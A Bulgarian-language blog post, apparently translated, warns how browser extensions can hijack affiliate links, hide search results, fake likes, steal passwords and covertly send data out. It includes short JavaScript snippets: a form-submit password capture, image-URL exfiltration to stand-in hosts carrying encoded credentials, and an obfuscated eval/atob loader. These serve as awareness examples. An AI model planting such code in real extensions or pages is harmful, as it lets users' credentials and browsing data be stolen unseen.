Миналата седмица, докато се запознавах с видеоклиповете в моя канал в YouTube, забелязах, че съм абониран за канал, за който никога не съм се абонирал доброволно. Предимно следя дървообработване, разговори, политика и разбира се технически канали, но получавах видеоклипове в моя канал от един от най-скандалните YouTubers, когото отказвам да назова.

Търсих в Google за това, не намерих нищо наистина, отписах се и забравих за него. За пет минути. Тогава си помислих колко лесно би било някое от разширенията, които имам в браузъра си, да ме абонира за този канал, но това е параноично, това е заблуда, нали?

Е, всъщност не

Представете си разширение, което сте инсталирали с много специфична функционалност. Превръщане на вашите посетени връзки в резултатите от Google от лилаво, което обикновено има, в сива версия. Това е разширение, което съществува и разширение, което използвах сам в продължение на няколко години, без да му мисля много.

Минималните разрешения, от които се нуждае, са тези на това изображение, трябва да чете и да променя датата от всички уебсайтове, които посещавам, при условие че може да бъде ограничено до google домейн, това не предизвиква никакви предупреждения, просто инсталирате.

Въпреки това, като инсталирате разширение във вашия браузър, вие позволявате изпълнението на произволен код и отваряте вратите и прозорците на автора на разширението, за да направи каквото иска.

Като например?

Разширението може да направи това, което обещава, може да го направи добре, може да има фантастична поддръжка и прегледи. Това не означава, че не прави нещо друго зад завесите.

Отвличане на партньорски връзки

Авторът може да потърси връзки, които имат партньорски етикет и да ги промени със собствения си партньорски идентификатор. Това не оставя следи в раздела мрежи, тъй като ние не говорим с външния свят, а по-скоро променяме URL адреса на връзката, за да сочи към различен етикет. Това не вреди на вас, но вреди на човека, който разчита на приходите от партньор. Е, казах твърде бързо, не ви боли... можете ли да се доверите на връзките вече? Можете ли да се доверите на съдържанието?

Промяна на съдържанието, отказ от действие

С няколко регулярни израза и правила авторът може да напише скрипт, който скрива части от страницата, която посещавате, ако съдържат определена дума, това беше класика в ранните дни на зловреден софтуер. Имали сте своя вирус, опитали сте да потърсите отговор и браузърът ви ще се затвори сам или дори ще се рестартира принудително, ако опитате да изпълните определени задачи.

Бих считал това за браузър версия на това. Разбира се, не ни е позволено да затваряме раздел с close() толкова лесно, колкото бихме могли, но с малко коригиране на общото поведение на страницата, да речем, че поемаме достъпа до всички връзки и отваряме раздела програмно... Сега можем да ги затворим ако не ни харесва това, което са заредили, не е ли просто фантастично за автора.

Имайте предвид, че всички примери, които предоставям, са без зависимости, обикновен стар JS, човек може също толкова лесно да добави рамка в тяхното разширение и да направи това в част от кода.

Относно скритите части от съдържанието, което намирам за по-интересно, също е много просто. Следният фрагмент ще скрие всички резултати в търсене с Google, които съдържат думата panda, потенциално насочвайки търсещ помощ потребител към други марки. Знаеш какво казвам.

document.querySelectorAll(“.ads-ad,.g”)
.forEach(
     e=>RegExp(/panda/gi).test(e.textContent)
     &&(e.style.display = ‘none’)
)

Харесва, пляска, споделя имитация

Авторът може да накара хората да харесват видеоклипове/публикации/коментари или да не ги харесват по този въпрос, дори без да го прави очевидно, представете си, че говоря за Reddit. Авторът може да се закачи за вашите положителни гласове и преди гласуването да премине, да промени идентификатора на публикацията в родителския елемент, така че всъщност да гласувате за нещо друго. Това може да доведе до достигане на публикация до първа страница или нелегитимно получаване на по-голяма видимост. По дяволите, авторът може дори да ви накара да ръкопляскате за тази история, без да разберете, че сте го направили.

Това обаче има просто решение и отхвърля взаимодействие, ако събитието няма флаг isTrusted. „Прочетете документите.“ Нещо като среда го прави. Опитайте се да задействате събитие за кликване от скрипт на кода и то няма да направи нищо. Доколкото знам, това не може да бъде фалшифицирано, не трябва да има събитие, при което трябва да емулирате действието от потребителя от кода.

Ако откриете, че задействате щраквания програмно, за да изпълните някаква функционалност, правите нещата погрешно.

Кражба на парола

Авторът може да се закачи за подаване на формуляри и да извлече паролата изпод носа ви, вашата парола и вашето потребителско име и разбира се уебсайта, до който се опитвате да получите достъп. За фрагмента приемам формуляр с конкретен идентификатор, но буквално няма ограничение за това, което разширението може да направи.

//Really, it's that simple
var d = document;
d.querySelector("#signin_form")
 .addEventListener("submit", function(e){
    console.log(d.querySelector("input[type='password']").value)
});

Но не само това, не само вашите пароли за акаунта ви в Twitter или каквото и да било, всички данни, които предавате, всички данни, които четете. Когато добавите кредитна карта към Amazon? Хей аз съм! приятелското разширение, винаги присъстващо, винаги търсещо!

Подмяна на реклами, фишинг и др

Авторът би могъл да замени рекламата от сайт със своя собствена, печелейки приходи от реклама, да замени връзките на легитимни уебсайтове (вашата банка например) с фишинг сайтове, така че когато отидете да влезете, вече не сте на безопасния.

След това, както обикновено правят фишинг сайтовете, те фалшифицират неуспешен опит за влизане и ви пренасочват обратно към истинския сайт. След това авторът маркира вашето устройство като „откраднато“ и вече няма да ви пренасочва там, следващите посещения ще работят безпроблемно, но вашите идентификационни данни са компрометирани.

Знам, че прекалено опростявам това, тъй като вече трябва да сте активирали 2FA за всичко, но нали? Всичките ви влизания изискват ли SMS, OTP или подобни?

Незаконно събиране на данни

Изпращането на данни до произволен сървър може да е твърде очевидно и лесно забелязано, но авторът може да вмъкне невидимо изображение в DOM и да предаде данните през URL параметри на източника на изображението.

var el = document.createElement('img');
el.src = "https://myserver.com?yourdataencoded

Въпреки че това се показва в раздела мрежа, то не се показва в раздела XHR, който е този, който бихте очаквали за данни, които излизат/влизат, а по-скоро в раздела изображения, дори ако авторът предава вашите данни в това повикване. Разбира се, това означава, че глобална XHR точка на прекъсване също не се задейства от това.

Още по-усъвършенствана техника би била да скриете данните, извлечени в URL адреса, но в същото време да върнете нещо с очевидна стойност за потребителя икона, шрифт. Може да ви изтласква данни вън при GET заявка.

Вземете изображение от http://harm.less/dXNlcm5hbWU6cGFzc3dvcmQ/image.png, което за всички цели е изображение, независимо че средният низ е вашето потребителско име и парола. Разделете данните в множество обаждания, дори през няколко дни, от множество страници. Разширението може да накара своето изображение да извлече от втори раздел от споделени данни, които събира, да се възползва от зареждането на нова страница, да инжектира това извикване там, успех в намирането му във вашия двадесети раздел Reddit.

Това предполага, че дори изпращате данните, когато разделите са все още отворени, авторът може да се закачи към събитието onRemoved за раздел и да го изпрати оттам. Вие сте щастливи, защото разширението не е направило нищо подозрително и точно когато разочаровате гарда си, то се задейства.

Но разширението се използва и има доверие от много!

По-рано тази година имаше нов голям играч, хванат да краде потребителска информация, плейърът беше стилен, който ви позволяваше да добавяте css стилове към страниците, за да персонализирате изживяването си при гледане. Съобщава се, че това е засегнало над два милиона потребители и разширението имаше фантастични отзиви, защото работата, която вършеше, я вършеше добре. Събраните данни трябваше да бъдат „нелични“, но, както посочи „Робърт Хийтън в статията, която написа“ за това, което разбра, те събираха (продаваха?) цялата ви история на браузъра.

Може да си мислите, че простото познаване на URL адресите, които посещавате, не може да се свърже точно с това кой сте, но позволете ми да го цитирам за това, не забравяйте да прочетете статията, ако още не сте го направили, той изтъква много добри точки.

Политиката за поверителност на SimilarWeb казва, че те събират само „нелични“ данни и предполагам, че това е технически вярно. Но злополуките се случват. Когато несъзнателно поверите личните си данни на компания като SimilarWeb, не само трябва да се надявате, че те нямат активно зли намерения (освен тези, посочени на тяхната страница с цени). Трябва също така да се надявате, че те имат добър контрол на достъпа до данни, няма служители-измамници и достатъчно силна защита, за да предотврати кражбата на всичките им данни (преди вашите данни). Още по-лошо, дори филтрирането на номинално анонимизиран списък с URL адреси има значителни последици за поверителността и сигурността. Деанонимизирането с помощта на IP адреси и спецификата на хронологията на сърфирането на потребителя често е лесно. Кой според вас може да е този човек, който посещава https://www.linkedin.com/in/robertjheaton/edit?¹

Но щях да знам, ако го правят

Вие бихте го направили, нали? Вие можете да разберете, ако сте отделили време да наблюдавате мрежовите повиквания в браузъра си и сте забелязали, че нещо отива на грешното място, нещо подозрително, но повечето хора няма да са по-разумни . Представете си милионите потребители, които имат разширения за всичко - от блокиране на реклами, известия за социални медии, любимите ви спортни резултати, разширения за продуктивност, каквото и да е.

Дори ако сте в състояние да разпознаете странно поведение, когато гледате, това не означава, че разширението не може да бъде една крачка пред вас и да го направи, докато не гледате, направете го само ако инструментите за разработчици не са отворени, или само ако страницата е била неактивна за определен период от време.

„Спомнете си фиктивната публикация на Дейвид Гилбъртсън“ за това как той е инжектирал код в уебсайтове чрез очевидно безобиден NPM пакет, който е разработил, и с този код, инжектиран в страницата, той може да направи основно това, което казвам тук.

Той споменава, че разширенията на Chrome са много ограничени, може би тогава пропускам нещо...

Имате достъп до изходния код на разширенията

Това е страхотен факт, който не е много известен, но можете да разопаковате разширение и да видите от какво е направено, но това само ви стига дотук. Четенето на източника е полезно само ако източникът не е скрит, за всяка идея, която имате, авторът може да има решение, така че да не виждате как го прави.

Можете да търсите изходяща комуникация, като търсите IP адреси или домейн, но те могат да бъдат шифровани и след това дешифрирани и кодът да бъде оценен, без да присъства в източника. Можете да смесите легитимния си код със злия по незабележим за повечето хора начин.

var conf;
var el = _=>Object.keys(conf);
conf = {
    eate : document.querySelectorAll("h1"),
    e : 1,
    lav : 5,
    tob : "xlcnQoJ2hlbGxvJyk=",
    color: target=>target.style.color="#F00",
    YW : a=>el()[2].split('').reverse().join('')
}
this[el()[1]+conf.YW()](this[`a`+el()[3]]
(!conf.eate.forEach(conf.color)&&(el()[5]+conf.tob)))

Без да навлизаме много в това, има някои признаци, че се случва нещо странно, но го сравнете с всеки минимизиран javascript файл и не трябва да е твърде различен.

Изпълнението на кода ще направи всички H1 елементи в страницата червени, това е, което нашето разширение прави в този сценарий. В същото време обаче изпълнява предупреждение, което казва hello. За хората с остро зрение знаете, че свойството tob има част от низ Base64, който се съединява с петия ключ на обекта conf ни дава YWxlcnQoJ2hlbGxvJyk=, което при декодиране с atob ни дава alert('hello').

Къде е atob call, казвате? Точно там! защото this[`a`+el()[3] връща функцията atob от нашия глобален прозорец обект. След това просто оценяваме кода с добрия стар eval, който също е скрит в ключа lav, обърнат при извикване на функцията YW и добавен към втория ключ e, отново от глобалния обект на прозореца.

window["eval"](window["atob"]("YWxlcnQoJ2hlbGxvJyk="))
//equivalent to simply saying
alert('hello')

Някой, който се е ангажирал да крие това, което прави, би стигнал много по-дълбоко от това, аз просто отделих няколко минути и се опитах да го запазя четимо в разумни граници. Милион пъти по-лесно е да измислите механизъм за скриване, отколкото да го проектирате обратно дори с достъп до кода. Предишният пример беше много кратък, но си представете, че частта от кода за злонамерен софтуер е вътре в JS файл от 17 000 реда, разделен на стотици функции, които се наричат ​​рекурсивно и с едни и същи имена в различни обхвати... Ще полудеете.

Какво трябва да направиш?

Същото като с всеки друг източник на софтуер, било то приложения на вашия компютър или на вашия телефон, разширения, добавки или каквото и да е... избягвайте пиратски и кракнат софтуер. Получавайте софтуер само от доверени източници и бъдете малко параноични. Необходим е само един зъл участник във вашата интернет екосистема и честността на останалите е безсмислена. Харесва ми да мисля за устройствата си по същия начин, както за тялото си, опитвам се да остана чист, да не слагам боклуци вътре в тях, да си правя редовни прегледи.

:)